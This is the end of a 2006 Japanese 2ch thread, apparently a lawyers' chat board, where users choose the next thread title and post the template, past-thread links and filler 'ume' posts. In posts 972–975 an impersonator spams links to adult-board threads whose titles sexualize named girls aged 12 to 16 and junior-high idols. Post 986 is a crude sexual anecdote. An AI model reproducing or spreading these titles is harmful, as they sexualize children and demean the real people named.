959 :無責任な名無しさん:2006/03/08(水) 12:45:12 ID:HyGP62W6
>>956
訴えられるぞw

960 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 20:45:52 ID:O5dU5pvA
>>944で行き詰まり先生も尾者っていますが、

そろそろ、次のスレタイを考えましょう。

961 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 21:16:28 ID:O5dU5pvA
なんかボケています。

尾者っていますが   ×
仰っていますが    ○

962 :無責任な名無しさん:2006/03/08(水) 21:20:10 ID:w3/FnD4n
MSセンセはどの板に常駐してるんですか?


タイムリーなのでは↓はいかが?って笑えないか

【痴漢】弁護士本音talkスレPart21【偽造】


963 :無責任な名無しさん:2006/03/08(水) 21:23:09 ID:7mgrnQym
【花見は】弁護士本音talkスレPart21【まだか?】

964 :無責任な名無しさん:2006/03/08(水) 22:38:50 ID:3K0bKWB6
【転勤時期】【期日空白】

965 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 22:55:51 ID:O5dU5pvA
テンプレです

前スレ↓
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
注意書き,リンク集などは>>2-10あたりに・・・



966 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 22:58:21 ID:O5dU5pvA
テンプレその2

○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
   やさしい法律相談 Part165
http://school5.2ch.net/test/read.cgi/shikaku/1141571050/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。


967 :無責任な名無しさん:2006/03/08(水) 22:58:54 ID:w3/FnD4n
私の場合、4/3の週は期日は入っていないな。
3月の最終週は2日入っているし、4/10の週も2日入っている。


968 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 23:00:04 ID:O5dU5pvA
過去スレその1
1:【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
2:【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
3:【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
4:【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
5:【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
6:【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
7:【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
8:【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
9:【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
10:【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/




969 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 23:03:44 ID:O5dU5pvA
過去スレその2
11:【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/
12:【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
13:【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
14:【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
15:【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
16:【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
17:【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
18:【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
19:【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/

970 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 23:08:17 ID:O5dU5pvA
関連スレ
【セクハラ】事務員本音talkスレ4頁目【根絶】
http://school5.2ch.net/test/read.cgi/shikaku/1131863289/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/

971 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 23:10:30 ID:O5dU5pvA
サイト集は従前通りということで。

後は、スレタイをお願いします。また、テンプレの追加・変更があればお願いします。

>>962
ナイショです。

972 :MS754 ◇yGUnQdhyV2:2006/03/08(水) 23:10:57 ID:0gcAB76U
【16歳エロ満タン】松山まみ【スク水クイ〜ン】9
http://pie.bbspink.com/test/read.cgi/girls/1138117977/


973 :MS754 ◇yGUnQdhyV2:2006/03/08(水) 23:15:02 ID:0gcAB76U
中学生くらいのアイドルのDVDで抜こうぜよ12
http://pie.bbspink.com/test/read.cgi/girls/1137803171/
・☆・☆・☆・相沢紗世・☆・☆・☆・8
http://pie.bbspink.com/test/read.cgi/girls/1137239966/
【12才でFカップ】入江紗綾 part10【奇跡の横乳】
http://pie.bbspink.com/test/read.cgi/girls/1141482058/
【あずあず】山本梓【第XIV章】
http://pie.bbspink.com/test/read.cgi/girls/1138707818/
【かわいさも】岡江久美子3【はなまる】
http://pie.bbspink.com/test/read.cgi/girls/1113651257/
【挑戦。】岸波莉穂の【決心。】
http://pie.bbspink.com/test/read.cgi/girls/1140462213/
【現役中学生14歳】 仲村みうPart8 【開脚妖精】
http://pie.bbspink.com/test/read.cgi/girls/1141742226/




974 :MS754 ◇yGUnQdhyV2:2006/03/08(水) 23:16:10 ID:0gcAB76U
【シムソンズ】加藤ローサ Part10【カーリングぅ!?】
http://pie.bbspink.com/test/read.cgi/girls/1136879645/
大久保麻梨子 part7
http://pie.bbspink.com/test/read.cgi/girls/1141660794/
【由】市川由衣ニャン Part.25【衣】
http://pie.bbspink.com/test/read.cgi/girls/1137350977/
川村ゆきえ part28
http://pie.bbspink.com/test/read.cgi/girls/1139052186/
【ルナハイツ主演】美尻W安田美沙子25【同性受け】
http://pie.bbspink.com/test/read.cgi/girls/1135463457/
加藤夏希おねがいでつ5杯目
http://pie.bbspink.com/test/read.cgi/girls/1127547350/


975 :MS754 ◇yGUnQdhyV2:2006/03/08(水) 23:33:59 ID:0gcAB76U
武富士
ぽんキュですよねぇ☆ 佐藤寛子 Part42
http://pie.bbspink.com/test/read.cgi/girls/1139758475/
プロミス
【ガチで】井上和香 part22【やさしい女】
http://pie.bbspink.com/test/read.cgi/girls/1139682536/
アコム
★★★ 色白巨乳クビレ 熊田曜子 パート38 ★★★
http://pie.bbspink.com/test/read.cgi/girls/1138730638/
アイフル
【ルナハイツ主演】美尻W安田美沙子25【同性受け】
http://pie.bbspink.com/test/read.cgi/girls/1135463457/
CFJ
【わたしの尻で】東原亜希PART6【目一杯抜いて!】
http://pie.bbspink.com/test/read.cgi/girls/1136897611/
三洋信販
【ぷにゅぷにゅ】 安めぐみ part11 【めめたん】
http://pie.bbspink.com/test/read.cgi/girls/1141403330/
しんわ
☆ロリエロ隊長ほしのあきちゃんの画像15回目☆
http://pie.bbspink.com/test/read.cgi/girls/1134201272/

レイクの浅香友紀がないな


976 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 23:39:06 ID:O5dU5pvA
>>972-975の偽者は、よほどの暇人か、趣味者か?

それはさておき、スレタイについて意見をお願いします。

977 :MS754 ◇yGUnQdhyV2:2006/03/08(水) 23:49:49 ID:0gcAB76U
趣味者ですな。
失礼しました。

じゃあ

【サヨナラ】弁護士本音talkスレPart21【グレーゾーン金利】

または

【サヨナラ】弁護士本音talkスレPart21【利限法】

978 :無責任な名無しさん:2006/03/08(水) 23:54:32 ID:w3/FnD4n
もうええっちゅうの

979 :無責任な名無しさん:2006/03/08(水) 23:55:05 ID:kRcaVDjQ
>>975
三田あいりとか、辰田さやかとか、小野真弓とかまでさかのぼってスレ探してくれ。

980 :MS754 ◆yGUnQdhyV2 :2006/03/08(水) 23:59:18 ID:O5dU5pvA
>>977は今のスレタイと被るし、>>962は本当に笑えないので、>>963または>>964
ということで、どちらがよろしいでしょうか。または、別の案がありますでしょうか。


981 :MS754 ◆yGUnQdhyV2 :2006/03/09(木) 00:09:17 ID:YlJx7usm
980超えますので、個人的な趣味で>>963で次スレ立てたいと思います。

982 :MS754 ◆yGUnQdhyV2 :2006/03/09(木) 00:19:50 ID:YlJx7usm
次スレです↓
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/

983 :無責任な名無しさん:2006/03/09(木) 02:14:20 ID:LSUAxYlc
>>979
美空ひばり、江利チエミ、雪村いづみ


984 :無責任な名無しさん:2006/03/09(木) 08:28:56 ID:V75CFA/S
ちょっと待った・・・
岡江久美子って

個人的には星野ひかるまで遡って欲しい

985 :無責任な名無しさん:2006/03/09(木) 12:28:29 ID:cpVKxT4a
>>984
なんだよ星野ひかるって。
それなら立原友香までさかのぼる必要があるだろが。

986 :無責任な名無しさん:2006/03/09(木) 12:45:10 ID:daOUwofE
小林ひとみのAVをはじめて見たとき「こんなエロいものが世の中に存在して良いのか」と思った
チン先から先走りでまくり
ティッシュ突き破って液飛んだ。


987 :無責任な名無しさん:2006/03/09(木) 14:12:43 ID:U3IF1bs7


今年は咲かないのかな

988 :無責任な名無しさん:2006/03/09(木) 17:18:33 ID:FoNjzspA
うめー

989 :無責任な名無しさん:2006/03/09(木) 18:58:44 ID:40y/zWz6
ume

990 :無責任な名無しさん:2006/03/09(木) 19:10:20 ID:kYuvIllN
埋め

991 :名無しさん@Linuxザウルス:2006/03/09(木) 19:51:29 ID:AlPUpUqj
産め


992 :無責任な名無しさん:2006/03/09(木) 19:57:41 ID:fYkgPNgM
新スレが立つたびに厨房よけが貼り付けられるのはなぜか

993 :無責任な名無しさん:2006/03/09(木) 20:15:02 ID:d3LazYJU
熟れ

994 :無責任な名無しさん:2006/03/09(木) 22:34:22 ID:LAS33LNW
umeru?


995 :無責任な名無しさん:2006/03/10(金) 02:03:26 ID:Y6x+TdpD
梅田

996 :無責任な名無しさん:2006/03/10(金) 08:10:26 ID:7N4wNp+p
ume

997 :無責任な名無しさん:2006/03/10(金) 10:23:51 ID:J/vA5aD3
梅干し

998 :無責任な名無しさん:2006/03/10(金) 10:40:30 ID:lkyxtjaJ
うめ

999 :無責任な名無しさん:2006/03/10(金) 10:41:59 ID:Y6x+TdpD


1000 :TN:2006/03/10(金) 10:42:21 ID:Yad8hsGI
1000ゲット


1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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